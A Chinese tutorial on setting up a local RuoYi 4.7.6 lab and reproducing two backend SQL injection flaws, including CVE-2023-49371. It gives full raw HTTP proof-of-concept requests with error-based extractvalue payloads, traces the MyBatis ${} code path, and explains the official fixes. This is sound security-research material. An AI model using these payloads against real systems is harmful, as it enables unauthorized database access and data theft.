若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御

环境搭建

下载若依:https://github.com/yangzongzhuan/RuoYi/releases

若依4.7.6安转示例

这里以4.7.6版本为例,其他版本的安装方法几乎一样。请根据漏洞选择合适的版本进行安装。

在3307端口开启一个mysql服务(我本机的3306端口有其他服务了,这个根据实际情况可调整),并创建一个名为ry的数据库

复制代码
docker run -d \
--name ruoyi4.7.6-mysql \
-e MYSQL_ROOT_PASSWORD=123456 \
-e MYSQL_DATABASE=ry \
-p 3307:3306 \
-v mysql-data:/var/lib/mysql \
mysql:8.0

将RuoYi-4.7.6/sql/ry_20210924.sql和RuoYi-4.7.6/sql/quartz.sql导入ry数据库

参考文章:https://www.hacktwohub.com/
若依全漏洞复现:从 SQL 注入到 RCE 一站式实战 复现、利用与防御

在RuoYi-4.7.6/ruoyi-admin/src/main/resources/application-druid.yml中修改连接数据库的相关信息

在RuoYi-4.7.6/ruoyi-admin/src/main/resources/logback.xml中将日志路径需改为相对路径./logs

在RuoYi-4.7.6/ruoyi-admin/src/main/resources/application.yml中将上传路径也修改为相对路径

点击IDEA右上角开启,发现如下图标即部署成功

访问 http://your-ip/发现若依界面,至此,若依4.7.6版本部署成功!

若依后台SQL注入1(CVE-2023-49371)

影响版本

  • RuoYi < 4.6.2

漏洞探测

同漏洞利用

漏洞利用

POC如下:(这个长度有限制,所以你发现无法显示全root@172.17.0.1,只能显示@172.17.0.1)

复制代码
POST /system/dept/edit HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

漏洞分析

在进行sql语句查询是,MyBatis支持两种参数符号,一种是#,另一种是$。#使用预编译向占位符中设置值,可有效防止sql注入。$使用拼接SQL,也是触发sql注入的关键。

ruoyi中关于mybatis的相关配置在application.yml文件中:

于是我们在classpath*:mapper/**/*Mapper.xml*中遍历寻找包含$的文件

我们先看SysDeptMapper.xml配置文件,其中${}包裹住的ancestors参数很有可能存在sql注入漏洞,完整的语句类似于

复制代码
update sys_dept set status=x where dept_id in ${ancestors}

我们要寻找触发该语句的函数

查看SysDeptMapper.xml文件开头,定位到Dao层 的com.ruoyi.system.mapper.SysDeptMapper类

在com.ruoyi.system.mapper.SysDeptMapper类中寻找到了updateDeptStatus方法

找到在service层 的com.ruoyi.system.service.impl.SysDeptServiceImpl类的updateParentDeptStatus()方法中可调用到updateDeptStatus(SysDept dept)方法

而com.ruoyi.system.service.impl.SysDeptServiceImpl#updateParentDeptStatus又是通过com.ruoyi.system.service.impl.SysDeptServiceImpl#updateDep方法调用

最后定位到Controller 层 的SysDeptController的editSave()方法可触发该调用。

于是我们通过/system/dept/edit传入若依构造的ancestors值即可

复制代码
POST /system/dept/edit HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

漏洞修复

若依官方在4.6.2版本中对这个漏洞进行了修复

第一段代码存在明显的 SQL 注入风险:它在WHERE dept_id IN (${ancestors})中使用了${ancestors},即未经任何转义地将输入字符串插入 SQL。

第二段代码则明显规避了该注入问题:它在IN子句中使用了<foreach>+#{deptId}的参数绑定方式,所有动态数据都经过了预编译处理 。在执行时,MyBatis 会将每个deptId值作为 JDBC 参数绑定到?占位符中,保证了数据类型与转义的正确性,从根本上杜绝拼接式注入的可能。换言之,只要传入的deptIds参数本身不是有意包含 SQL 片段,注入风险就不存在了。

若依后台SQL注入2

影响版本

  • RuoYi < 4.6.2

漏洞探测

同漏洞利用

漏洞利用

点击"角色管理",拦截请求包

POC如下:

复制代码
POST /system/role/list HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

还有一个注入点POC如下(原理一样就放一起了)

复制代码
POST /system/role/export HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

经测试,/system/dept/list也有同样的漏洞

漏洞分析

根据之前分析CVE-2023-49371的思路,我们再来在classpath*:mapper/**/*Mapper.xml*中遍历寻找包含$的文件

这次选择/resources/mapper/system/SysRoleMapper.xml文件进行分析

完整的sql语句如下

复制代码
SELECT DISTINCT 
r.role_id, 
r.role_name, 
r.role_key, 
r.role_sort, 
r.data_scope,
r.status, 
r.del_flag, 
r.create_time, 
r.remark 
FROM 
sys_role r
LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id
LEFT JOIN sys_user u ON u.user_id = ur.user_id
LEFT JOIN sys_dept d ON u.dept_id = d.dept_id
WHERE 
r.del_flag = '0'
AND r.role_name LIKE CONCAT('%', #{roleName}, '%')
AND r.status = #{status}
AND r.role_key LIKE CONCAT('%', #{roleKey}, '%')
AND r.data_scope = #{dataScope}
AND DATE_FORMAT(r.create_time, '%y%m%d') >= DATE_FORMAT(#{params.beginTime}, '%y%m%d')
AND DATE_FORMAT(r.create_time, '%y%m%d') <= DATE_FORMAT(#{params.endTime}, '%y%m%d')
${params.dataScope}

定位一下selectRoleList函数的位置

在com.ruoyi.system.mapper.SysRoleMapper类找到selectRoleList方法

找到在service层 的com.ruoyi.system.service.impl.SysRoleServiceImpl类的selectRoleList()方法中可调用到selectRoleList(SysRole role)方法

最后定位在到Controller 层 的SysRoleController的类中,/system/role/list接口中的list()和/system/role/export接口中的export()方法可触发该调用。

/system/role/list接口的POC如下:

复制代码
POST /system/role/list HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

/system/role/export接口的POC如下

复制代码
POST /system/role/export HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

经测试,/system/dept/list也有同样的漏洞

漏洞修复

这个漏洞的修复和之前的CVE-2023-49371倒是不太一样,之前是直接把${}换了,而这里是加了一个clearDataScope的函数来在方法执行前将params[dataScope]的值给清空,防止了sql注入。

整体流程伪代码

复制代码
@DataScope(deptAlias="d")
↓(方法执行前)
DataScopeAspect.doBefore()
↓
getAnnotationLog() 拿到 deptAlias="d"
↓
dataScopeFilter(..., deptAlias="d", ...)
↓
生成 SQL 片段: " AND ( d.dept_id IN (…) OR … )"
↓
放入 BaseEntity.params.dataScope
↓
roleMapper.selectRoleList(role) 执行时
↓
最终 SQL 拼上 AND (...),实现数据权限过滤
相关推荐
lusklusklusk14 分钟前
Python 巡检脚本:进程运行状态、数据库写入时效检查及邮件通知与告警
数据库·python·oracle
杭州默安科技26 分钟前
从“被动响应”到“主动遏制”:AI Agent时代,网络防御体系如何重构?
人工智能·网络安全·ai智能体
Angeldream12329 分钟前
第 10 章 医学影像伦理与安全
图像处理·人工智能·python·安全·机器学习·医学影像
GeW42 分钟前
产业新优势基础软件的人才底盘,从Linux与数据库开始
linux·数据库
方白羽43 分钟前
Android 双开环境底层剖析与风控检测落地
android·安全·app
SelectDB1 小时前
Doris Arrow Flight SQL 高速读取协议实战:与 Snowflake 客户端取数链路对照
大数据·数据库·数据分析
曼岛_1 小时前
[图解密码学]第4章 古典密码
java·数据库·密码学
pt10431 小时前
Cisco设备网络安全系列-18:SIEM与SOAR安全解决方案
网络·安全
砚凝霜1 小时前
[CTF Misc 图片隐写] misc1:文件末尾追加 flag(strings 一秒出 flag,附原理)
网络安全
瀚高PG实验室2 小时前
HGDB V9.0.5 .pgpass 免密登录提示 IsEncryptNon-base64 encoding 警告处理
数据库·postgresql·瀚高数据库